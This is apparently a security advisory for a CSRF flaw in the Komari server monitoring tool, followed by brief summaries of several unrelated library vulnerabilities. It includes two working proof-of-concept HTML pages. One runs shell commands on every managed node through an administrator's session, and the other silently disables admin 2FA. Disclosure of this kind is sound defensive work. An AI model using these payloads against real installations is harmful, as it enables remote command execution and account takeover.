Sep 10, 2026·5 min read·16 visits
Unauthenticated remote attackers can execute arbitrary shell commands on managed nodes and disable administrative 2FA by tricking an authenticated administrator into visiting a malicious link.
A high-severity Cross-Site Request Forgery (CSRF) vulnerability exists in the Komari server monitoring tool. The administrative interface sets authentication cookies without restrictive SameSite or Secure attributes, and lacks any CSRF validation, enabling unauthenticated remote attackers to execute arbitrary commands or modify backend settings by exploiting administrative sessions.
A high-severity Cross-Site Request Forgery (CSRF) vulnerability has been identified in the administrative interface of the Komari server monitoring tool. The flaw allows unauthenticated remote attackers to execute administrative state-changing actions via the browser of an authenticated administrator.
The target application sets the administrative authentication cookie (session_token) without specifying restrictive SameSite or Secure attributes. Furthermore, the routing configuration for /api/admin/ lacks Origin, Referer, or custom header validation, exposing critical endpoints to cross-origin abuse.
The root cause of this vulnerability lies in the combination of insecure session cookie configuration and the total absence of CSRF validation middleware on sensitive API endpoints.
During user authentication, the backend issues an authentication cookie. In the file api/public/login.go around line 68, the session_token cookie is created using the Gin framework's SetCookie function. The function is invoked without explicitly setting the SameSite parameter, leaving it empty. In legacy browsers or under specific cross-origin contexts, the browser defaults to loose cookie-sending behaviors.
Furthermore, the Secure flag is configured as false. This allows the session cookie to be transmitted over unencrypted HTTP, exposing it to interception. There are no additional controls—such as custom CSRF tokens or verification of Origin and Referer headers—present within the route group handling administrative commands.
An analysis of the vulnerable and patched code shows how the cookie properties and routes were managed.
In api/public/login.go, the cookie is set using default Gin parameters where transport security is disabled:
// Location: api/public/login.go
// The sixth parameter is 'secure' (set to false)
c.SetCookie("session_token", session, 2592000, "/", "", false, true)Because the SameSite attribute is not explicitly configured on the context, the web server fails to supply a SameSite policy in the Set-Cookie header. Under legacy browser implementations or local intranet environments, this allows cross-site requests to automatically append the cookie.
To remediate the issue, the application must explicitly define a restrictive SameSite policy and enforce transport security:
// Location: api/public/login.go (Patched)
// Explicitly enforce SameSite Lax behavior
c.SetSameSite(http.SameSiteLaxMode)
// Set secure parameter (fifth parameter) to true to restrict transmission to HTTPS
c.SetCookie("session_token", session, 2592000, "/", "", true, true)Exploitation is highly practical using cross-site requests. Because Gin's default JSON binder parses parameters regardless of the received Content-Type header, attackers can bypass CORS preflight restrictions by serving payloads with a text/plain Content-Type.
This script forces the administrator's browser to retrieve the active node list and execute arbitrary system shell commands across all managed client nodes:
<!DOCTYPE html>
<html>
<body>
<script>
var TARGET = "https://komari.example.com";
var COMMAND = "id && hostname && whoami";
fetch(TARGET + "/api/admin/client/list", { credentials: "include" })
.then(function(r) { return r.json(); })
.then(function(data) {
var nodes = data.data || [];
var uuids = [];
for (var i = 0; i < nodes.length; i++) {
if (nodes[i].uuid) uuids.push(nodes[i].uuid);
}
if (uuids.length === 0) return;
return fetch(TARGET + "/api/admin/task/exec", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "text/plain" },
body: JSON.stringify({ command: COMMAND, clients: uuids })
});
});
</script>
</body>
</html>An attacker can disable multi-factor administrative protections by tricking the victim into navigating to the following page:
<!DOCTYPE html>
<html>
<body>
<iframe name="hidden-sink" style="display:none"></iframe>
<form id="exploitForm" method="POST"
action="https://komari.example.com/api/admin/2fa/disable"
target="hidden-sink"></form>
<script>
document.getElementById('exploitForm').submit();
</script>
</body>
</html>The execution of this vulnerability leads to high-severity outcomes. An attacker who successfully exploits an administrative session achieves complete system compromise over both the monitoring master and the monitored fleet.
custom_head script injection), leading to subsequent session hijacking.To resolve the vulnerability, administrators must update the Komari server installation to version 1.2.2 or later.
Secure=true and enforce SameSite=Lax or SameSite=Strict.Origin or Referer header against the expected host header.X-Requested-With) for all API routes under /api/admin/.CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
github.com/komari-monitor/komari Komari Monitor Team | < 0.0.0-20260609084633-98122fa4d110 | 1.2.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-352 (Cross-Site Request Forgery) |
| Attack Vector | Network (AV:N) |
| CVSS Severity | 8.8 (High) |
| Exploit Maturity | Proof of Concept (PoC) |
| Impact | Remote Code Execution / Privilege Escalation |
| First Patched Version | 1.2.2 |
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally sent by the user who submitted the request.
CVE-2026-115895 is a high-severity code injection vulnerability (CWE-94) in the happy-dom npm package prior to version 21.0.4. The vulnerability exists within the ECMAScriptModuleCompiler component, which transforms ECMAScript module syntax into executable Node.js functions when JavaScript evaluation is enabled. Due to an incomplete fix for CVE-2026-33943, the compiler failed to validate local named import aliases against legal JavaScript identifier rules. Attackers supplying crafted module imports—specifically utilizing destructuring default initializers alongside JSON module attributes—can inject arbitrary JavaScript expressions directly into the host Node.js runtime context.
An improper input validation and authorization bypass vulnerability exists in the LangGraph storage layer affecting langgraph, langgraph-checkpoint-postgres, and langgraph-checkpoint-sqlite. Because relational store implementations serialize namespace tuples into dot-delimited strings without validating labels on read, search, delete, and batch operations, an attacker who controls a namespace label can inject periods (.) to traverse namespace boundaries and access, modify, or delete data belonging to other namespaces.
CVE-2026-115886 (GHSA-2wqp-q3c6-ccj5) is a Server-Side Request Forgery (SSRF) and Unsafe Reflection vulnerability in MLflow versions 3.12.0rc0 prior to 3.17.0. Unauthenticated REST API endpoints accept serialized third-party scorer JSON payloads that are dynamically deserialized and reflectively instantiated without sanitizing constructor keyword arguments. When optional dependencies such as trulens and trulens-providers-litellm are installed, attackers can inject egress-steering arguments into the scorer payload, forcing the MLflow server to dispatch outbound HTTP requests to arbitrary internal destinations or cloud metadata services.
CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.
CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.
CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.